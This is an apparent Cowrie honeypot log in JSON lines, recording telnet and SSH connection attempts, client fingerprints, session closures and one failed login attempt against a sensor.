{"eventid":"cowrie.session.closed","duration":30.603851079940796,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:34:08.143029Z","src_ip":"155.138.226.95","session":"2de1245feaa7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.59428334236145,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:34:09.838943Z","src_ip":"155.138.226.95","session":"7acfa0a417b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":49100,"dst_ip":"10.17.0.5","dst_port":23,"session":"4cb099c46ff3","protocol":"telnet","message":"New connection: 155.138.226.95:49100 (10.17.0.5:23) [session: 4cb099c46ff3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:34:11.227815Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":38426,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c4d485972dc","protocol":"telnet","message":"New connection: 64.41.88.162:38426 (159.203.135.109:23) [session: 2c4d485972dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:34:12.404847Z"}
{"eventid":"cowrie.session.closed","duration":31.071617126464844,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:34:12.969766Z","src_ip":"155.138.226.95","session":"37acc056b9af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":53112,"dst_ip":"10.17.0.5","dst_port":23,"session":"89a711d335ff","protocol":"telnet","message":"New connection: 155.138.226.95:53112 (10.17.0.5:23) [session: 89a711d335ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:34:16.069777Z"}
{"eventid":"cowrie.session.closed","duration":"15.5","message":"Connection lost after 15.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:34:17.559788Z","src_ip":"66.132.172.221","session":"e02d2e2be2a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.443779230117798,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:34:17.640623Z","src_ip":"155.138.226.95","session":"3da41b8de30d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":47628,"dst_ip":"159.203.135.109","dst_port":23,"session":"36367305b9ec","protocol":"telnet","message":"New connection: 64.41.88.162:47628 (159.203.135.109:23) [session: 36367305b9ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:34:17.860909Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":53126,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba064d316bb5","protocol":"telnet","message":"New connection: 155.138.226.95:53126 (10.17.0.5:23) [session: ba064d316bb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:34:17.990519Z"}
{"eventid":"cowrie.session.closed","duration":30.095348358154297,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:34:19.036975Z","src_ip":"155.138.226.95","session":"250ba780627c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":50558,"dst_ip":"159.203.135.109","dst_port":23,"session":"0debafef4374","protocol":"telnet","message":"New connection: 64.41.88.162:50558 (159.203.135.109:23) [session: 0debafef4374]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:34:19.435931Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":57210,"dst_ip":"10.17.0.5","dst_port":23,"session":"e148a2da0e78","protocol":"telnet","message":"New connection: 155.138.226.95:57210 (10.17.0.5:23) [session: e148a2da0e78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:34:21.470382Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":57220,"dst_ip":"10.17.0.5","dst_port":23,"session":"63aa5ea00fd6","protocol":"telnet","message":"New connection: 155.138.226.95:57220 (10.17.0.5:23) [session: 63aa5ea00fd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:34:23.265571Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":57234,"dst_ip":"10.17.0.5","dst_port":23,"session":"c52c11c924e8","protocol":"telnet","message":"New connection: 155.138.226.95:57234 (10.17.0.5:23) [session: c52c11c924e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:34:28.435657Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":57248,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a92b6cef630","protocol":"telnet","message":"New connection: 155.138.226.95:57248 (10.17.0.5:23) [session: 8a92b6cef630]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:34:28.610580Z"}
{"eventid":"cowrie.session.closed","duration":30.630742073059082,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:34:29.054796Z","src_ip":"155.138.226.95","session":"ec1f75b9bbf0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":37748,"dst_ip":"10.17.0.5","dst_port":23,"session":"89249c62c1b1","protocol":"telnet","message":"New connection: 155.138.226.95:37748 (10.17.0.5:23) [session: 89249c62c1b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:34:31.089375Z"}
{"eventid":"cowrie.session.closed","duration":31.030719995498657,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:34:31.763806Z","src_ip":"155.138.226.95","session":"f5c23c1ecc8a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":105.68397927284241,"message":"Connection lost after 105 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:34:33.143017Z","src_ip":"49.88.156.34","session":"45b712ca6528","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":37754,"dst_ip":"10.17.0.5","dst_port":23,"session":"a115bbffa76c","protocol":"telnet","message":"New connection: 155.138.226.95:37754 (10.17.0.5:23) [session: a115bbffa76c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:34:34.117172Z"}
{"eventid":"cowrie.session.closed","duration":31.05793285369873,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:34:35.822088Z","src_ip":"155.138.226.95","session":"24f590a1b9d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.998664379119873,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:34:36.105335Z","src_ip":"155.138.226.95","session":"023beac61da1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":37764,"dst_ip":"10.17.0.5","dst_port":23,"session":"0199ebd18113","protocol":"telnet","message":"New connection: 155.138.226.95:37764 (10.17.0.5:23) [session: 0199ebd18113]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:34:36.168696Z"}
{"eventid":"cowrie.session.closed","duration":30.388926029205322,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:34:36.235739Z","src_ip":"155.138.226.95","session":"9038ff9b712d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.90891456604004,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:34:37.163563Z","src_ip":"155.138.226.95","session":"e2ef80093483","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":37768,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d6c4f7ae433","protocol":"telnet","message":"New connection: 155.138.226.95:37768 (10.17.0.5:23) [session: 2d6c4f7ae433]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:34:37.650598Z"}
{"eventid":"cowrie.session.closed","duration":31.317441701889038,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:34:42.545148Z","src_ip":"155.138.226.95","session":"4cb099c46ff3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":51258,"dst_ip":"10.17.0.5","dst_port":23,"session":"fca25467575f","protocol":"telnet","message":"New connection: 155.138.226.95:51258 (10.17.0.5:23) [session: fca25467575f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:34:42.745600Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":51262,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0e9ba678ac3","protocol":"telnet","message":"New connection: 155.138.226.95:51262 (10.17.0.5:23) [session: c0e9ba678ac3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:34:44.041651Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":51270,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed50b6cd3ce8","protocol":"telnet","message":"New connection: 155.138.226.95:51270 (10.17.0.5:23) [session: ed50b6cd3ce8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:34:44.130187Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":51280,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a10ad71a20e","protocol":"telnet","message":"New connection: 155.138.226.95:51280 (10.17.0.5:23) [session: 0a10ad71a20e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:34:44.215731Z"}
{"eventid":"cowrie.session.closed","duration":31.00826907157898,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:34:47.077936Z","src_ip":"155.138.226.95","session":"89a711d335ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"88.205.172.170","src_port":57278,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5712291826c","protocol":"ssh","message":"New connection: 88.205.172.170:57278 (10.17.0.5:22) [session: c5712291826c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:34:47.145211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:34:47.150058Z","src_ip":"88.205.172.170","session":"c5712291826c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:34:47.312657Z","src_ip":"88.205.172.170","session":"c5712291826c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":51286,"dst_ip":"10.17.0.5","dst_port":23,"session":"d801430c49f7","protocol":"telnet","message":"New connection: 155.138.226.95:51286 (10.17.0.5:23) [session: d801430c49f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:34:47.781233Z"}
{"eventid":"cowrie.login.failed","username":"test","password":"123.com","message":"login attempt [test/123.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:34:47.993377Z","src_ip":"88.205.172.170","session":"c5712291826c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":51282,"dst_ip":"10.17.0.5","dst_port":23,"session":"36692d6efb3e","protocol":"telnet","message":"New connection: 155.138.226.95:51282 (10.17.0.5:23) [session: 36692d6efb3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:34:48.086768Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":51296,"dst_ip":"10.17.0.5","dst_port":23,"session":"7110700abb86","protocol":"telnet","message":"New connection: 155.138.226.95:51296 (10.17.0.5:23) [session: 7110700abb86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:34:48.870089Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:34:49.160677Z","src_ip":"88.205.172.170","session":"c5712291826c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.50009536743164,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:34:49.490463Z","src_ip":"155.138.226.95","session":"ba064d316bb5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":51318,"dst_ip":"10.17.0.5","dst_port":23,"session":"e18fc21a277c","protocol":"telnet","message":"New connection: 155.138.226.95:51318 (10.17.0.5:23) [session: e18fc21a277c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:34:49.677689Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":51312,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6bae1d1c9dc","protocol":"telnet","message":"New connection: 155.138.226.95:51312 (10.17.0.5:23) [session: e6bae1d1c9dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:34:50.459221Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":43190,"dst_ip":"10.17.0.5","dst_port":23,"session":"eeb27985c938","protocol":"telnet","message":"New connection: 155.138.226.95:43190 (10.17.0.5:23) [session: eeb27985c938]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:34:51.177068Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":43196,"dst_ip":"10.17.0.5","dst_port":23,"session":"37d235dcdfdc","protocol":"telnet","message":"New connection: 155.138.226.95:43196 (10.17.0.5:23) [session: 37d235dcdfdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:34:51.422839Z"}
{"eventid":"cowrie.session.closed","duration":30.97461771965027,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:34:52.444908Z","src_ip":"155.138.226.95","session":"e148a2da0e78","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":43200,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba7244d35f0c","protocol":"telnet","message":"New connection: 155.138.226.95:43200 (10.17.0.5:23) [session: ba7244d35f0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:34:52.925968Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":43212,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6a4046950a0","protocol":"telnet","message":"New connection: 155.138.226.95:43212 (10.17.0.5:23) [session: a6a4046950a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:34:54.161329Z"}
{"eventid":"cowrie.session.closed","duration":30.946938514709473,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:34:54.212403Z","src_ip":"155.138.226.95","session":"63aa5ea00fd6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":43214,"dst_ip":"10.17.0.5","dst_port":23,"session":"f12d558b4737","protocol":"telnet","message":"New connection: 155.138.226.95:43214 (10.17.0.5:23) [session: f12d558b4737]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:34:55.165227Z"}
{"eventid":"cowrie.session.connect","src_ip":"49.88.156.34","src_port":52688,"dst_ip":"10.17.0.5","dst_port":23,"session":"eee8fecbd83f","protocol":"telnet","message":"New connection: 49.88.156.34:52688 (10.17.0.5:23) [session: eee8fecbd83f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:34:55.683788Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":43230,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e520f997a19","protocol":"telnet","message":"New connection: 155.138.226.95:43230 (10.17.0.5:23) [session: 3e520f997a19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:34:58.528541Z"}
{"eventid":"cowrie.session.closed","duration":30.676244735717773,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:34:59.111806Z","src_ip":"155.138.226.95","session":"c52c11c924e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.27003312110901,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:34:59.880519Z","src_ip":"155.138.226.95","session":"8a92b6cef630","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":43234,"dst_ip":"10.17.0.5","dst_port":23,"session":"047932e31cf1","protocol":"telnet","message":"New connection: 155.138.226.95:43234 (10.17.0.5:23) [session: 047932e31cf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:00.887642Z"}
{"eventid":"cowrie.session.closed","duration":30.9536395072937,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:02.042899Z","src_ip":"155.138.226.95","session":"89249c62c1b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.195.107","src_port":4662,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2a972dd2d59","protocol":"ssh","message":"New connection: 66.132.195.107:4662 (10.17.0.5:22) [session: f2a972dd2d59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:03.929326Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:04.042032Z","src_ip":"66.132.195.107","session":"f2a972dd2d59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"873a5fb5fedc2d4f8638ebde4abc6cfc","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 873a5fb5fedc2d4f8638ebde4abc6cfc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:04.046238Z","src_ip":"66.132.195.107","session":"f2a972dd2d59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.559993505477905,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:05.677080Z","src_ip":"155.138.226.95","session":"a115bbffa76c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":35802,"dst_ip":"10.17.0.5","dst_port":23,"session":"12ca4bbe4671","protocol":"telnet","message":"New connection: 155.138.226.95:35802 (10.17.0.5:23) [session: 12ca4bbe4671]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:06.396262Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":35816,"dst_ip":"10.17.0.5","dst_port":23,"session":"66da18d3cf18","protocol":"telnet","message":"New connection: 155.138.226.95:35816 (10.17.0.5:23) [session: 66da18d3cf18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:06.811098Z"}
{"eventid":"cowrie.session.closed","duration":30.90545082092285,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:07.074018Z","src_ip":"155.138.226.95","session":"0199ebd18113","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":35824,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc4f0f5b6625","protocol":"telnet","message":"New connection: 155.138.226.95:35824 (10.17.0.5:23) [session: bc4f0f5b6625]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:08.231427Z"}
{"eventid":"cowrie.session.closed","duration":30.8488187789917,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:08.499306Z","src_ip":"155.138.226.95","session":"2d6c4f7ae433","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":35818,"dst_ip":"10.17.0.5","dst_port":23,"session":"3099ce4bfbde","protocol":"telnet","message":"New connection: 155.138.226.95:35818 (10.17.0.5:23) [session: 3099ce4bfbde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:08.504860Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":35838,"dst_ip":"10.17.0.5","dst_port":23,"session":"1bd2d11510dd","protocol":"telnet","message":"New connection: 155.138.226.95:35838 (10.17.0.5:23) [session: 1bd2d11510dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:08.809670Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":46440,"dst_ip":"10.17.0.5","dst_port":23,"session":"48058ffae158","protocol":"telnet","message":"New connection: 155.138.226.95:46440 (10.17.0.5:23) [session: 48058ffae158]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:10.992774Z"}
